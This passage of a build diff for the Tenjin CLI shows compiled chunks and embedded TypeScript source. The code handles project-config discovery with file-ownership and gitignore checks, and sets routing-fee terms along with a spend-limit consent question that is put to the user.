publish.ackServerWarnings in ${project?.path ?? PROJECT_CONFIG_FILE}: it is read from the global config only, since it can only widen what a yes covers. Set it with \\`tenjin config set publish.ackServerWarnings <mode|on|off>\\`.`,\n );\n }\n\n return {\n mode: mode.value,\n modeSource: mode.source,\n defaultPriceAtomic: price.value,\n defaultPriceSource: price.source,\n // Global config only, on purpose: the project layer never contributes here,\n // so `project` is deliberately not passed. ONE reader, the same one\n // `resolveSettings` uses, because two global-only readings that drifted\n // would drift about consent.\n ackServerWarnings: resolveAckServerWarnings(config).value,\n warnings,\n ...(project !== null ? { projectConfigPath: project.path } : {}),\n };\n}\n\n/**\n * Find the nearest `.tenjin.json` walking up from cwd toward the repo root (the\n * first directory holding a `.git`, inclusive), never crossing above $HOME, then\n * load, validate, and check whether it is gitignored. A file not owned by the\n * current user is ignored with a stderr warning (a planted config on a shared\n * host must not become the honored project layer). Null when none is found; a\n * present-but-unreadable/malformed file is CONFIG_INVALID (never silently\n * skipped).\n */\nexport async function loadProjectConfig(\n cwd: string,\n deps: PublishSettingsDeps = {},\n): Promise<LoadedProjectConfig | null> {\n const path = await findProjectConfigFile(cwd, deps);\n if (path === null) return null;\n\n let json: unknown;\n try {\n // readFile is inside the try: a raced delete (ENOENT), a directory named\n // .tenjin.json (EISDIR), or a permission error (EACCES) is a bad project file,\n // not an INTERNAL fault.\n json = JSON.parse(await readFile(path, 'utf8'));\n } catch (err) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} could not be read`, {\n fix: `Fix or delete ${path} (must be a readable JSON file).`,\n cause: err,\n });\n }\n const parsed = ProjectConfigSchema.safeParse(json);\n if (!parsed.success) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} is invalid`, {\n fix: `Correct the reported keys in ${path}, or delete it.`,\n details: parsed.error.issues,\n });\n }\n\n const isGitignored = deps.isGitignored ?? defaultIsGitignored;\n const gitignored = await isGitignored(path);\n const layer: ProjectPublishLayer = { gitignored };\n if (parsed.data.publish !== undefined) {\n const { mode, defaultPrice } = parsed.data.publish;\n layer.publish = {\n ...(mode !== undefined ? { mode } : {}),\n ...(defaultPrice !== undefined\n ? { defaultPrice: parseProjectPrice(defaultPrice, path) }\n : {}),\n };\n // The block is passthrough, so this key parses here and is then never read:\n // `ackServerWarnings` is global-only because it can only loosen what a yes\n // covers. Failing closed is the point, but doing it SILENTLY leaves an\n // operator believing a consent setting is in force that is not, so it says\n // so on stderr the way a downgraded `full-auto` does.\n if ((parsed.data.publish as { ackServerWarnings?: unknown }).ackServerWarnings !== undefined) {\n layer.ignoredAckServerWarnings = true;\n }\n }\n return { path, layer };\n}\n\n/**\n * Convert a `.tenjin.json` decimal-USD price to atomic via the shared money\n * parser. parseUsdToAtomic throws USAGE on a bad amount; re-raise as\n * CONFIG_INVALID naming the file, so it reads like the file's other errors.\n */\nfunction parseProjectPrice(decimalUsd: string, path: string): string {\n try {\n return parseUsdToAtomic(decimalUsd);\n } catch (err) {\n throw new CliError(\n 'CONFIG_INVALID',\n `${PROJECT_CONFIG_FILE} at ${path} has an invalid publish.defaultPrice`,\n { fix: 'Use a non-negative decimal USD amount like \"0.10\".', cause: err },\n );\n }\n}\n\nasync function findProjectConfigFile(\n cwd: string,\n deps: PublishSettingsDeps,\n): Promise<string | null> {\n const hit = await findNearestProjectFiles(cwd, [PROJECT_CONFIG_FILE], deps);\n return hit?.found[0] ?? null;\n}\n\nexport interface ProjectWalkDeps {\n /** Ownership seam; defaults to stat().uid vs process uid. Gates a planted file. */\n isForeignOwned?: (filePath: string) => Promise<boolean>;\n /** One-line stderr warning sink; defaults to process.stderr. */\n warn?: (message: string) => void;\n /** Upper bound of the walk; defaults to the user's home directory. */\n homeDir?: string;\n}\n\nexport interface ProjectWalkHit {\n /** The directory the walk stopped in. */\n dir: string;\n /** Every candidate present there and owned by this user, in `names` order. */\n found: string[];\n}\n\n/**\n * THE ONE WALK UP FROM A WORKING DIRECTORY to a project file, shared by the\n * shelf's `.tenjin.json` and the router's `.tenjin/config.json` pair: the\n * nearest directory, walking up from `cwd`, that holds at least one of\n * `names` (paths relative to that directory). `homeIsProject: false` stops\n * before looking in $HOME itself, for a file whose home copy is the global one.\n */\nexport async function findNearestProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<ProjectWalkHit | null> {\n const homeDir = deps.homeDir ?? homedir();\n\n let dir = cwd;\n // Bounded by $HOME (a shared-host trust boundary) and the filesystem root\n // (dirname('/') === '/'), whichever comes first.\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return null;\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) return { dir, found };\n if (await pathExists(join(dir, '.git'))) return null; // repo root, no file\n if (dir === homeDir) return null; // never cross above $HOME\n const parent = dirname(dir);\n if (parent === dir) return null;\n dir = parent;\n }\n}\n\n/**\n * EVERY directory from `cwd` up to the git root (inclusive) that holds one of\n * `names`, nearest first, under the same bounds as\n * {@link findNearestProjectFiles}; `gitRoot` is null outside a repository.\n * For layers that each only tighten, where reading one more can never loosen.\n */\nexport async function findAllProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<{ levels: ProjectWalkHit[]; gitRoot: string | null }> {\n const homeDir = deps.homeDir ?? homedir();\n const levels: ProjectWalkHit[] = [];\n let dir = cwd;\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return { levels, gitRoot: null };\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) levels.push({ dir, found });\n if (await pathExists(join(dir, '.git'))) return { levels, gitRoot: dir };\n if (dir === homeDir) return { levels, gitRoot: null };\n const parent = dirname(dir);\n if (parent === dir) return { levels, gitRoot: null };\n dir = parent;\n }\n}\n\n/**\n * The main working tree behind a git worktree whose root is `gitRoot`, or null\n * when `gitRoot` is not a linked worktree. Filesystem only, no `git` process:\n * the worktree's `.git` FILE names its gitdir, whose `commondir` names the\n * main repository's `.git`. A bare common dir, one that resolves outside\n * $HOME, and a submodule (a gitdir with no `commondir`) all give null.\n */\nexport async function mainWorktreeOf(\n gitRoot: string,\n homeDir: string = homedir(),\n): Promise<string | null> {\n try {\n const dotGit = join(gitRoot, '.git');\n if (!(await stat(dotGit)).isFile()) return null;\n const line = /^gitdir:\\s*(.+?)\\s*$/m.exec(await readFile(dotGit, 'utf8'));\n if (line === null) return null;\n const gitdir = resolve(gitRoot, line[1]!);\n const commonDir = resolve(gitdir, (await readFile(join(gitdir, 'commondir'), 'utf8')).trim());\n if (basename(commonDir) !== '.git' || !(await stat(commonDir)).isDirectory()) return null;\n const main = dirname(commonDir);\n if (main === gitRoot || !main.startsWith(`${homeDir}${sep}`)) return null;\n return main;\n } catch {\n return null;\n }\n}\n\n/** The candidates present in `dir` and owned by this user, in `names` order. */\nexport async function ownedCandidates(\n dir: string,\n names: readonly string[],\n deps: ProjectWalkDeps = {},\n): Promise<string[]> {\n const isForeignOwned = deps.isForeignOwned ?? defaultIsForeignOwned;\n const warn = deps.warn ?? ((message: string) => process.stderr.write(`${message}\\n`));\n const found: string[] = [];\n for (const name of names) {\n const candidate = join(dir, name);\n if (!(await pathExists(candidate))) continue;\n if (await isForeignOwned(candidate)) {\n // A file owned by another user (e.g. /tmp/.tenjin.json on a shared box)\n // must never become the honored layer; skip it and keep walking.\n warn(`Ignoring ${candidate}: not owned by the current user.`);\n } else {\n found.push(candidate);\n }\n }\n return found;\n}\n\n/**\n * The directory a project file belongs in when none exists yet: the git root\n * above `cwd`, or `cwd` itself outside a repository. Same bounds as the walk.\n */\nexport async function projectRoot(cwd: string, homeDir: string = homedir()): Promise<string> {\n let dir = cwd;\n for (;;) {\n if (await pathExists(join(dir, '.git'))) return dir;\n if (dir === homeDir) return cwd;\n const parent = dirname(dir);\n if (parent === dir) return cwd;\n dir = parent;\n }\n}\n\n/**\n * True when the file is owned by a different uid than the process. On a platform\n * without a uid model (Windows: process.getuid is undefined) this is always\n * false — the ownership gate is a POSIX shared-host protection.\n */\nasync function defaultIsForeignOwned(filePath: string): Promise<boolean> {\n const uid = process.getuid?.();\n if (uid === undefined) return false;\n try {\n return (await stat(filePath)).uid !== uid;\n } catch {\n return false;\n }\n}\n\n/** True when a path exists (of any type). */\nexport async function pathExists(path: string): Promise<boolean> {\n try {\n await stat(path);\n return true;\n } catch {\n return false;\n }\n}\n\n/**\n * True only on a git check-ignore exit 0 (the path is ignored). Exit 1 (tracked)\n * and any error (git absent, not a repo) resolve false: `full-auto` is honored\n * from a project file ONLY when git positively confirms it is ignored. Uses\n * execFile with an argv array (never a shell), matching wallet/passphrase.ts.\n */\nfunction defaultIsGitignored(filePath: string): Promise<boolean> {\n return new Promise((resolve) => {\n execFile(\n 'git',\n ['check-ignore', '--quiet', '--', filePath],\n { cwd: dirname(filePath) },\n (err) => resolve(err === null),\n );\n });\n}\n"],"mappings":";;;;;;;;;;;;;;;;;;;AAAA,SAAS,gBAAgB;AACzB,SAAS,UAAU,YAAY;AAC/B,SAAS,eAAe;AACxB,SAAS,UAAU,SAAS,MAAM,SAAS,WAAW;AA0EtD,SAAS,UAAU,KAAiC;AAClD,MAAI;AACF,WAAO,IAAI,IAAI,GAAG,EAAE;AAAA,EACtB,QAAQ;AACN,WAAO;AAAA,EACT;AACF;AAuCO,SAAS,mBACd,QACA,GACyB;AACzB,QAAM,SAAS,EAAE,kBAAkB;AACnC,MAAI,OAAO,WAAW,EAAG,QAAO;AAChC,QAAM,aAAa,UAAU,OAAO,WAAW,gBAAgB,OAAO;AACtE,QAAM,YAAY,UAAU,EAAE,QAAQ,KAAK;AAC3C,MAAI,eAAe,UAAa,cAAc,UAAa,eAAe,WAAW;AACnF,WAAO;AAAA,EACT;AACA,MAAI,CAAC,kBAAkB,YAAY,EAAE,eAAe,KAAK,EAAG,QAAO;AACnE,SAAO,EAAE,QAAQ,YAAY,OAAO;AACtC;AAUO,SAAS,kBAAkB,QAAgB,gBAAiC;AACjF,MAAI,iBAAiB,QAAQ,iBAAiB,EAAG,QAAO;AACxD,QAAM,eAAe,UAAU,cAAc;AAC7C,SAAO,iBAAiB,UAAa,CAAC,iBAAiB,QAAQ,YAAY;AAC7E;AA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ACA,SAAO;AACT;AAMA,eAAsB,YAAY,KAAa,UAAkB,QAAQ,GAAoB;AAC3F,MAAI,MAAM;AACV,aAAS;AACP,QAAI,MAAM,WAAW,KAAK,KAAK,MAAM,CAAC,EAAG,QAAO;AAChD,QAAI,QAAQ,QAAS,QAAO;AAC5B,UAAM,SAAS,QAAQ,GAAG;AAC1B,QAAI,WAAW,IAAK,QAAO;AAC3B,UAAM;AAAA,EACR;AACF;AAOA,eAAe,sBAAsB,UAAoC;AACvE,QAAM,MAAM,QAAQ,SAAS;AAC7B,MAAI,QAAQ,OAAW,QAAO;AAC9B,MAAI;AACF,YAAQ,MAAM,KAAK,QAAQ,GAAG,QAAQ;AAAA,EACxC,QAAQ;AACN,WAAO;AAAA,EACT;AACF;AAGA,eAAsB,WAAW,MAAgC;AAC/D,MAAI;AACF,UAAM,KAAK,IAAI;AACf,WAAO;AAAA,EACT,QAAQ;AACN,WAAO;AAAA,EACT;AACF;AAQA,SAAS,oBAAoB,UAAoC;AAC/D,SAAO,IAAI,QAAQ,CAACA,aAAY;AAC9B;AAAA,MACE;AAAA,MACA,CAAC,gBAAgB,WAAW,MAAM,QAAQ;AAAA,MAC1C,EAAE,KAAK,QAAQ,QAAQ,EAAE;AAAA,MACzB,CAAC,QAAQA,SAAQ,QAAQ,IAAI;AAAA,IAC/B;AAAA,EACF,CAAC;AACH;","names":["resolve"]}
|
|
@@ -1,13 +1,14 @@
|
|
|
1
1
|
import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
|
|
2
2
|
import {
|
|
3
3
|
evaluateSpendPolicy
|
|
4
|
-
} from "./chunk-
|
|
4
|
+
} from "./chunk-B2L53TMK.js";
|
|
5
5
|
import {
|
|
6
6
|
hasCode
|
|
7
7
|
} from "./chunk-2I4QTOLB.js";
|
|
8
8
|
import {
|
|
9
|
-
formatUsdDisplay
|
|
10
|
-
|
|
9
|
+
formatUsdDisplay,
|
|
10
|
+
toMoney
|
|
11
|
+
} from "./chunk-6ZSGER3A.js";
|
|
11
12
|
|
|
12
13
|
// src/router/fee.ts
|
|
13
14
|
import { createHash } from "node:crypto";
|
|
@@ -127,6 +128,49 @@ async function createExclusive(path, body) {
|
|
|
127
128
|
}
|
|
128
129
|
}
|
|
129
130
|
|
|
131
|
+
// src/router/spend-question.ts
|
|
132
|
+
var ROUTER_DEFAULTS = {
|
|
133
|
+
maxAutoSpend: "250000",
|
|
134
|
+
sessionBudget: "5000000"
|
|
135
|
+
};
|
|
136
|
+
function shownLimits(config) {
|
|
137
|
+
return {
|
|
138
|
+
maxAutoSpend: config.maxAutoSpend ?? ROUTER_DEFAULTS.maxAutoSpend,
|
|
139
|
+
sessionBudget: config.sessionBudget ?? ROUTER_DEFAULTS.sessionBudget
|
|
140
|
+
};
|
|
141
|
+
}
|
|
142
|
+
function limitsUsd(limits) {
|
|
143
|
+
return {
|
|
144
|
+
maxAutoSpend: toMoney(limits.maxAutoSpend).usd,
|
|
145
|
+
sessionBudget: limits.sessionBudget === "none" ? "none" : toMoney(limits.sessionBudget).usd
|
|
146
|
+
};
|
|
147
|
+
}
|
|
148
|
+
function limitsPhrase(limits) {
|
|
149
|
+
const usdOf = limitsUsd(limits);
|
|
150
|
+
const daily = usdOf.sessionBudget === "none" ? "with no daily limit" : `and $${usdOf.sessionBudget} a day`;
|
|
151
|
+
return `up to $${usdOf.maxAutoSpend} a call ${daily}`;
|
|
152
|
+
}
|
|
153
|
+
var ROUTING_FEE_TERMS = `Routing costs $${usd(ROUTING_FEE_ATOMIC)} a call, paid from channel deposits of up to $${usd(CHANNEL_DEPOSIT_ATOMIC)} that stay yours until spent; each deposit counts against these limits.`;
|
|
154
|
+
var ACCEPT_COMMAND = `tenjin config set maxAutoSpend ${toMoney(ROUTER_DEFAULTS.maxAutoSpend).usd}`;
|
|
155
|
+
var OWN_LIMITS_COMMANDS = "`tenjin config set maxAutoSpend <usd>` and `tenjin config set sessionBudget <usd|none>`";
|
|
156
|
+
var FEE_APPROVAL = "Using these limits or choosing your own also approves the routing fee.";
|
|
157
|
+
function spendQuestion(limits) {
|
|
158
|
+
return `May Tenjin pay for tool calls without asking you each time, ${limitsPhrase(limits)}? ${ROUTING_FEE_TERMS} ${FEE_APPROVAL}`;
|
|
159
|
+
}
|
|
160
|
+
function unansweredNotice(limits, reader) {
|
|
161
|
+
const open2 = "Tenjin pays for nothing on its own yet: the spend limits are not answered.";
|
|
162
|
+
if (reader === "agent") {
|
|
163
|
+
return `${open2} Ask the user: ${spendQuestion(limits)} For a yes, run \`${ACCEPT_COMMAND}\`; for other amounts, run ${OWN_LIMITS_COMMANDS}.`;
|
|
164
|
+
}
|
|
165
|
+
return `${open2} It can pay for tool calls without asking you each time, ${limitsPhrase(limits)}. ${ROUTING_FEE_TERMS} ${FEE_APPROVAL} To use these limits, run \`${ACCEPT_COMMAND}\`; to choose your own, run ${OWN_LIMITS_COMMANDS}.`;
|
|
166
|
+
}
|
|
167
|
+
function unpaidNotice(why, config, reader) {
|
|
168
|
+
if (why === "limit_below_deposit" && config.maxAutoSpend === void 0) {
|
|
169
|
+
return unansweredNotice(shownLimits(config), reader);
|
|
170
|
+
}
|
|
171
|
+
return unpaidSentence(why);
|
|
172
|
+
}
|
|
173
|
+
|
|
130
174
|
export {
|
|
131
175
|
ROUTE_PAID_PATH,
|
|
132
176
|
ROUTING_FEE_ATOMIC,
|
|
@@ -140,6 +184,15 @@ export {
|
|
|
140
184
|
unpaidSentence,
|
|
141
185
|
payerDir,
|
|
142
186
|
usd,
|
|
143
|
-
firstNoticeFor
|
|
187
|
+
firstNoticeFor,
|
|
188
|
+
ROUTER_DEFAULTS,
|
|
189
|
+
shownLimits,
|
|
190
|
+
limitsUsd,
|
|
191
|
+
ROUTING_FEE_TERMS,
|
|
192
|
+
ACCEPT_COMMAND,
|
|
193
|
+
OWN_LIMITS_COMMANDS,
|
|
194
|
+
FEE_APPROVAL,
|
|
195
|
+
spendQuestion,
|
|
196
|
+
unpaidNotice
|
|
144
197
|
};
|
|
145
|
-
//# sourceMappingURL=chunk-
|
|
198
|
+
//# sourceMappingURL=chunk-GU4GGKYP.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/router/fee.ts","../src/router/spend-question.ts"],"sourcesContent":["import { createHash } from 'node:crypto';\nimport { mkdir, open, readFile, readdir, rm } from 'node:fs/promises';\nimport { join } from 'node:path';\nimport { hasCode } from '../lib/errno';\nimport { formatUsdDisplay } from '../lib/money';\nimport { evaluateSpendPolicy, type PolicyReason, type SpendPolicy } from '../lib/policy';\nimport type { DecisionRoute } from './decision';\n\n/**\n * THE ROUTING FEE, WITHOUT ANYTHING THAT PAYS. Every routing call on the paid\n * path pays $0.003 over x402 `batch-settlement`, and the stock SDK client in\n * `tenjin mcp` does all of it (`routing-payer.ts`). Everything else, `tenjin\n * hook` included, is the free path exactly as before this fee existed.\n *\n * Hook-safe: `tenjin hook` loads this module, and its chunk graph stays free\n * of the wallet and the x402 SDK (`dist-chunks.test.ts`).\n */\n\nexport const ROUTE_PAID_PATH = '/api/x402-router/route';\n\n/** The flat fee per routing call, atomic USDC ($0.003). */\nexport const ROUTING_FEE_ATOMIC = 3_000n;\n/** The largest channel deposit, atomic USDC ($0.25), made inline by the SDK\n * on the first paid call of a channel that cannot cover the next fee. */\nexport const CHANNEL_DEPOSIT_ATOMIC = 250_000n;\n/**\n * The smallest deposit worth signing: ten fees ($0.03). A per-call limit under\n * $0.25 sizes the deposit down to the limit while it still covers this many.\n */\nexport const MIN_DEPOSIT_ATOMIC = 10n * ROUTING_FEE_ATOMIC;\n\n/** A spend refusal, as the reason the call was not paid. */\nconst REFUSED: Partial<Record<PolicyReason, string>> = {\n not_allowlisted: 'not_allowlisted',\n session_budget_exceeded: 'budget_reached',\n above_auto_spend: 'limit_below_deposit',\n};\n\n/** The reason a spend refusal leaves a routing call unpaid. */\nexport function refusedWhy(reason: PolicyReason): string {\n return REFUSED[reason] ?? reason;\n}\n\n/**\n * THE DEPOSIT IS THE SPEND. It meets the whole policy once, the day's budget\n * included, when the SDK's `depositStrategy` reserves it. Each fee paid from\n * it then gets only the per-payment checks: the per-call limit, the creator\n * allowlist (the router's host) and an explicit zero daily limit. It is never\n * refused for the day's running total, which the deposit already consumed.\n * Null when those checks allow the fee.\n */\nexport function feeRefusal(policy: SpendPolicy, host: string): string | null {\n const evaluation = evaluateSpendPolicy(\n { ...policy, sessionBudgetAtomic: policy.sessionBudgetAtomic === 0n ? 0n : null },\n { mode: 'automatic', amountAtomic: ROUTING_FEE_ATOMIC, creator: host, sessionSpentAtomic: 0n },\n );\n return evaluation.decision === 'allow' ? null : refusedWhy(evaluation.reason);\n}\n\n/** The paid path for this call, or null for the free path. `tenjin mcp` passes\n * its payer's; absent, every call is free. */\nexport type RouteFor = (baseUrl: string) => Promise<DecisionRoute | null>;\n\n/** The free path's reason code once the server routes only paid calls. */\nexport const FEE_REQUIRED = 'fee_required';\n\n/** Whether a decision is the free path's `fee_required` answer. */\nexport function isFeeRequired(response: unknown): boolean {\n const decision = (response as { decision?: { action?: unknown; diagnostics?: unknown } })\n ?.decision;\n const diagnostics = decision?.diagnostics as { reasonCode?: unknown } | undefined;\n return decision?.action === 'native' && diagnostics?.reasonCode === FEE_REQUIRED;\n}\n\n/**\n * WHY A CALL WAS NOT PAID, for the user: the reason and the fix, keyed by the\n * payer's skip reason (or `fee_required`, when the free path answered it and\n * nothing else explains why). Null for a reason that is no fault and needs no\n * fix: another session's call on the channel, a server with no paid path, or\n * a call queued past its own budget, or a payment still out when the call's\n * budget ran out (it finishes in the background).\n */\nconst UNPAID: Record<string, { reason: string; fix: string }> = {\n wallet_low: {\n reason: `the wallet holds less than the $${usd(CHANNEL_DEPOSIT_ATOMIC)} routing deposit`,\n fix: `Fund it with \\`tenjin wallet fund ${usd(CHANNEL_DEPOSIT_ATOMIC)}\\`.`,\n },\n wallet_locked: {\n reason: '`tenjin mcp` cannot unlock the wallet without a prompt',\n fix: 'Set TENJIN_WALLET_PASSPHRASE in the environment Claude Code starts from, then restart Claude Code.',\n },\n no_wallet: {\n reason: 'this machine has no wallet',\n fix: 'Run `tenjin doctor`.',\n },\n limit_below_deposit: {\n reason: `the per-call spend limit is below the smallest routing deposit ($${usd(MIN_DEPOSIT_ATOMIC)})`,\n fix: 'Run `tenjin doctor`.',\n },\n budget_reached: {\n reason: 'the daily spend limit has no room left for the routing fee or its deposit',\n fix: 'Run `tenjin doctor`.',\n },\n not_allowlisted: {\n reason: 'allowlistCreators does not include the router',\n fix: 'Run `tenjin doctor`.',\n },\n payment_failed: {\n reason: 'the routing payment failed',\n fix: 'Run `tenjin doctor`.',\n },\n [FEE_REQUIRED]: {\n reason: 'the router now charges it, and this session cannot pay it',\n fix: 'Run `tenjin doctor`.',\n },\n};\nconst NO_FAULT = new Set([\n 'channel_busy',\n 'paid_path_absent',\n 'busy',\n 'no_call',\n 'deadline_after_payment_sent',\n]);\n\n/** The reason and fix for an unpaid call, or null when it needs no word. */\nexport function unpaid(why: string): { reason: string; fix: string } | null {\n if (NO_FAULT.has(why)) return null;\n return UNPAID[why] ?? UNPAID['payment_failed']!;\n}\n\n/** The one line the user sees, once per session, when a call was not paid. */\nexport function unpaidSentence(why: string): string | null {\n const u = unpaid(why);\n if (u === null) return null;\n return `Tenjin routing could not pay its $${usd(ROUTING_FEE_ATOMIC)} fee (${u.reason}), so calls take the free path until that is fixed. ${u.fix}`;\n}\n\nconst ADDRESS_RE = /^0x[0-9a-f]{40}$/;\n\n/** One wallet's folder: the SDK's file storage for its routing channel\n * (`client/<channelId>.json`). */\nexport function payerDir(dataDir: string, payer: string): string {\n const name = payer.toLowerCase();\n if (!ADDRESS_RE.test(name)) throw new Error(`not a wallet address: ${payer}`);\n return join(dataDir, 'router', 'fee', name);\n}\n\n/** Atomic USDC as dollars with at least two decimals, never a float. */\nexport function usd(atomic: bigint): string {\n return formatUsdDisplay(atomic.toString());\n}\n\n/** How long a session's notice marker is kept. */\nconst NOTICE_KEEP_MS = 7 * 86_400_000;\n\n/**\n * TRUE ONCE PER SESSION: the first caller for a session id creates its marker\n * and gets true; every later one gets false. Each marker holds the time it was\n * made, and those older than a week go on the way past, so the directory does\n * not grow with every session ever run.\n */\nexport async function firstNoticeFor(\n dataDir: string,\n sessionId: string,\n now: number,\n): Promise<boolean> {\n const dir = join(dataDir, 'router', 'notices');\n const name = createHash('sha256').update(sessionId).digest('hex').slice(0, 32);\n const created = await createExclusive(join(dir, name), String(now));\n if (created) {\n for (const entry of await readdir(dir).catch(() => [] as string[])) {\n const path = join(dir, entry);\n const at = Number(await readFile(path, 'utf8').catch(() => 'NaN'));\n if (!Number.isFinite(at) || now - at > NOTICE_KEEP_MS) await rm(path, { force: true });\n }\n }\n return created;\n}\n\nasync function createExclusive(path: string, body: string): Promise<boolean> {\n try {\n await mkdir(join(path, '..'), { recursive: true, mode: 0o700 });\n const handle = await open(path, 'wx', 0o600);\n try {\n await handle.writeFile(body);\n } finally {\n await handle.close();\n }\n return true;\n } catch (err) {\n if (hasCode(err, 'EEXIST')) return false;\n throw err;\n }\n}\n","import { toMoney } from '../lib/money';\nimport { CHANNEL_DEPOSIT_ATOMIC, ROUTING_FEE_ATOMIC, unpaidSentence, usd } from './fee';\n\n/**\n * THE SPEND QUESTION, ONE TEXT FOR EVERY PLACE THAT ASKS IT. The selector in a\n * terminal, the question an install that could not ask hands to its agent,\n * doctor's warning and the routing notice all show the same limits, the same\n * routing-fee terms and the same one-step yes, so the agent can put to the\n * user exactly what the selector would have.\n */\n\n/** Absent-only automatic router defaults, in atomic USDC. */\nexport const ROUTER_DEFAULTS = {\n maxAutoSpend: '250000',\n sessionBudget: '5000000',\n} as const;\n\n/** The automatic limits a fresh install fills in, in atomic USDC; `sessionBudget` may be `none`. */\nexport interface RouterLimits {\n maxAutoSpend: string;\n sessionBudget: string;\n}\n\n/** What the question shows: the file's own value where it names one, else the default. */\nexport function shownLimits(config: {\n maxAutoSpend?: string | undefined;\n sessionBudget?: string | undefined;\n}): RouterLimits {\n return {\n maxAutoSpend: config.maxAutoSpend ?? ROUTER_DEFAULTS.maxAutoSpend,\n sessionBudget: config.sessionBudget ?? ROUTER_DEFAULTS.sessionBudget,\n };\n}\n\n/** The limits in USD, as the question shows them. */\nexport function limitsUsd(limits: RouterLimits): { maxAutoSpend: string; sessionBudget: string } {\n return {\n maxAutoSpend: toMoney(limits.maxAutoSpend).usd,\n sessionBudget: limits.sessionBudget === 'none' ? 'none' : toMoney(limits.sessionBudget).usd,\n };\n}\n\n/** \"up to $0.25 a call and $5 a day\" */\nexport function limitsPhrase(limits: RouterLimits): string {\n const usdOf = limitsUsd(limits);\n const daily =\n usdOf.sessionBudget === 'none' ? 'with no daily limit' : `and $${usdOf.sessionBudget} a day`;\n return `up to $${usdOf.maxAutoSpend} a call ${daily}`;\n}\n\n/** The routing fee's terms, as the selector names them. */\nexport const ROUTING_FEE_TERMS = `Routing costs $${usd(ROUTING_FEE_ATOMIC)} a call, paid from channel deposits of up to $${usd(CHANNEL_DEPOSIT_ATOMIC)} that stay yours until spent; each deposit counts against these limits.`;\n\n/**\n * The yes to the limits shown, where the command install ran is not known\n * (doctor, the routing notice, the request tool): the per-call limit only.\n * The daily limit already defaults to the one shown. A bare `install --yes`\n * here would undo a `--project`, `--no-wallet` or `--status-line skip`\n * install; install's own output names that command with its flags instead.\n */\nexport const ACCEPT_COMMAND = `tenjin config set maxAutoSpend ${toMoney(ROUTER_DEFAULTS.maxAutoSpend).usd}`;\n\n/** The commands for limits of the user's own, each in backticks. */\nexport const OWN_LIMITS_COMMANDS =\n '`tenjin config set maxAutoSpend <usd>` and `tenjin config set sessionBudget <usd|none>`';\n\n/** The selector's own line: either answer approves the fee. */\nexport const FEE_APPROVAL =\n 'Using these limits or choosing your own also approves the routing fee.';\n\n/** The question, for the agent to put to the user as written. */\nexport function spendQuestion(limits: RouterLimits): string {\n return `May Tenjin pay for tool calls without asking you each time, ${limitsPhrase(limits)}? ${ROUTING_FEE_TERMS} ${FEE_APPROVAL}`;\n}\n\n/** Who reads a notice: the user, in the hook's `systemMessage`, or the agent,\n * in the request tool's answer. */\nexport type NoticeReader = 'user' | 'agent';\n\n/**\n * The routing notice for a machine whose limits nobody has answered: the\n * question and the one-step yes, put to the user directly, or handed to the\n * agent to ask.\n */\nexport function unansweredNotice(limits: RouterLimits, reader: NoticeReader): string {\n const open = 'Tenjin pays for nothing on its own yet: the spend limits are not answered.';\n if (reader === 'agent') {\n return `${open} Ask the user: ${spendQuestion(limits)} For a yes, run \\`${ACCEPT_COMMAND}\\`; for other amounts, run ${OWN_LIMITS_COMMANDS}.`;\n }\n return `${open} It can pay for tool calls without asking you each time, ${limitsPhrase(limits)}. ${ROUTING_FEE_TERMS} ${FEE_APPROVAL} To use these limits, run \\`${ACCEPT_COMMAND}\\`; to choose your own, run ${OWN_LIMITS_COMMANDS}.`;\n}\n\n/**\n * The routing notice for a call that was not paid: the limits question when\n * the per-call limit is the code default's zero because nobody has answered\n * it, else the reason and fix for `why`.\n */\nexport function unpaidNotice(\n why: string,\n config: { maxAutoSpend?: string | undefined; sessionBudget?: string | undefined },\n reader: NoticeReader,\n): string | null {\n if (why === 'limit_below_deposit' && config.maxAutoSpend === undefined) {\n return unansweredNotice(shownLimits(config), reader);\n }\n return unpaidSentence(why);\n}\n"],"mappings":";;;;;;;;;;;;;AAAA,SAAS,kBAAkB;AAC3B,SAAS,OAAO,MAAM,UAAU,SAAS,UAAU;AACnD,SAAS,YAAY;AAgBd,IAAM,kBAAkB;AAGxB,IAAM,qBAAqB;AAG3B,IAAM,yBAAyB;AAK/B,IAAM,qBAAqB,MAAM;AAGxC,IAAM,UAAiD;AAAA,EACrD,iBAAiB;AAAA,EACjB,yBAAyB;AAAA,EACzB,kBAAkB;AACpB;AAGO,SAAS,WAAW,QAA8B;AACvD,SAAO,QAAQ,MAAM,KAAK;AAC5B;AAUO,SAAS,WAAW,QAAqB,MAA6B;AAC3E,QAAM,aAAa;AAAA,IACjB,EAAE,GAAG,QAAQ,qBAAqB,OAAO,wBAAwB,KAAK,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+B,mBAAmB;AACrO;AAOO,SAAS,aACd,KACA,QACA,QACe;AACf,MAAI,QAAQ,yBAAyB,OAAO,iBAAiB,QAAW;AACtE,WAAO,iBAAiB,YAAY,MAAM,GAAG,MAAM;AAAA,EACrD;AACA,SAAO,eAAe,GAAG;AAC3B;","names":["open"]}
|
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
|
|
2
2
|
import {
|
|
3
3
|
ROUTER_DEFAULTS
|
|
4
|
-
} from "./chunk-
|
|
4
|
+
} from "./chunk-GU4GGKYP.js";
|
|
5
5
|
import {
|
|
6
6
|
modeGatedPointer
|
|
7
7
|
} from "./chunk-A36LQPHV.js";
|
|
@@ -12,7 +12,7 @@ import {
|
|
|
12
12
|
registeredHooks,
|
|
13
13
|
retractModeGatedRules,
|
|
14
14
|
wireFreeVerbAllowlist
|
|
15
|
-
} from "./chunk-
|
|
15
|
+
} from "./chunk-XVYATBKD.js";
|
|
16
16
|
import {
|
|
17
17
|
confirmChoice
|
|
18
18
|
